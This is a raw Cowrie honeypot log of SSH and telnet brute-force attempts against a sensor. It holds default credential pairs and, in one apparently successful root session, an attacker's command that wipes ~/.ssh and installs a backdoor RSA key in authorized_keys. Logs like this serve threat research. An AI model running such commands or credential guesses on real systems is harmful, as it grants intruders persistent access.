{"eventid":"cowrie.login.failed","username":"user","password":"marsh","message":"login attempt [user/marsh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:51:19.227000Z","src_ip":"2.57.121.25","session":"4ca095f28b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"marsel","message":"login attempt [user/marsel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:51:20.325795Z","src_ip":"2.57.121.25","session":"4ca095f28b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"marnie","message":"login attempt [user/marnie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:51:21.425465Z","src_ip":"2.57.121.25","session":"4ca095f28b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"manue","message":"login attempt [user/manue] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:51:22.524906Z","src_ip":"2.57.121.25","session":"4ca095f28b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:51:23.624007Z","src_ip":"2.57.121.25","session":"4ca095f28b5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.183.123.202","src_port":60458,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdc5d68602a1","protocol":"telnet","message":"New connection: 59.183.123.202:60458 (10.17.0.5:23) [session: bdc5d68602a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:52:19.150315Z"}
{"eventid":"cowrie.session.closed","duration":13.649872064590454,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:52:32.800062Z","src_ip":"59.183.123.202","session":"bdc5d68602a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":48266,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf880b816460","protocol":"ssh","message":"New connection: 195.178.110.218:48266 (10.17.0.5:22) [session: bf880b816460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:52:36.113285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:52:36.118260Z","src_ip":"195.178.110.218","session":"bf880b816460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:52:36.197913Z","src_ip":"195.178.110.218","session":"bf880b816460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:52:36.441512Z","src_ip":"195.178.110.218","session":"bf880b816460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:52:37.524731Z","src_ip":"195.178.110.218","session":"bf880b816460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.141","src_port":28292,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ea6520ffdcd","protocol":"ssh","message":"New connection: 87.251.64.141:28292 (10.17.0.5:22) [session: 3ea6520ffdcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:00.597075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:00.601339Z","src_ip":"87.251.64.141","session":"3ea6520ffdcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"6a77bbd6ef48d6a9959a47aa4a42a505","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 6a77bbd6ef48d6a9959a47aa4a42a505","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:00.705123Z","src_ip":"87.251.64.141","session":"3ea6520ffdcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:00.994823Z","src_ip":"87.251.64.141","session":"3ea6520ffdcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:02.093857Z","src_ip":"87.251.64.141","session":"3ea6520ffdcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.141","src_port":9280,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ee8c0002159","protocol":"ssh","message":"New connection: 87.251.64.141:9280 (10.17.0.5:22) [session: 2ee8c0002159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:02.187537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:02.192477Z","src_ip":"87.251.64.141","session":"2ee8c0002159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"6a77bbd6ef48d6a9959a47aa4a42a505","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 6a77bbd6ef48d6a9959a47aa4a42a505","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:02.288866Z","src_ip":"87.251.64.141","session":"2ee8c0002159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:02.577467Z","src_ip":"87.251.64.141","session":"2ee8c0002159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:03.676774Z","src_ip":"87.251.64.141","session":"2ee8c0002159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.141","src_port":9284,"dst_ip":"10.17.0.5","dst_port":22,"session":"259d2bfe0311","protocol":"ssh","message":"New connection: 87.251.64.141:9284 (10.17.0.5:22) [session: 259d2bfe0311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:03.769065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:03.779177Z","src_ip":"87.251.64.141","session":"259d2bfe0311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"6a77bbd6ef48d6a9959a47aa4a42a505","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 6a77bbd6ef48d6a9959a47aa4a42a505","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:03.877309Z","src_ip":"87.251.64.141","session":"259d2bfe0311","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:04.165273Z","src_ip":"87.251.64.141","session":"259d2bfe0311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:04.263700Z","src_ip":"87.251.64.141","session":"259d2bfe0311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.143.200","src_port":45012,"dst_ip":"159.203.135.109","dst_port":22,"session":"9154612daf68","protocol":"ssh","message":"New connection: 101.47.143.200:45012 (159.203.135.109:22) [session: 9154612daf68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:13.490919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:13.494594Z","src_ip":"101.47.143.200","session":"9154612daf68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:13.729218Z","src_ip":"101.47.143.200","session":"9154612daf68","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Rainbow20.","message":"login attempt [root/Rainbow20.] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:14.705502Z","src_ip":"101.47.143.200","session":"9154612daf68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:15.216495Z","src_ip":"101.47.143.200","session":"9154612daf68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:15.219421Z","src_ip":"101.47.143.200","session":"9154612daf68","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:15.223199Z","src_ip":"101.47.143.200","session":"9154612daf68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:15.462361Z","src_ip":"101.47.143.200","session":"9154612daf68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:15.968305Z","src_ip":"101.47.143.200","session":"9154612daf68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:15.971466Z","src_ip":"101.47.143.200","session":"9154612daf68","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:16.212817Z","src_ip":"101.47.143.200","session":"9154612daf68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:16.216635Z","src_ip":"101.47.143.200","session":"9154612daf68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.143.200","src_port":45018,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7a76c5fd604","protocol":"ssh","message":"New connection: 101.47.143.200:45018 (159.203.135.109:22) [session: e7a76c5fd604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:16.460103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:16.465101Z","src_ip":"101.47.143.200","session":"e7a76c5fd604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:16.708096Z","src_ip":"101.47.143.200","session":"e7a76c5fd604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:17.711912Z","src_ip":"101.47.143.200","session":"e7a76c5fd604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:18.958797Z","src_ip":"101.47.143.200","session":"e7a76c5fd604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.143.200","src_port":45032,"dst_ip":"159.203.135.109","dst_port":22,"session":"7136265219f4","protocol":"ssh","message":"New connection: 101.47.143.200:45032 (159.203.135.109:22) [session: 7136265219f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:19.197978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:19.205937Z","src_ip":"101.47.143.200","session":"7136265219f4","protocol":"ssh"}
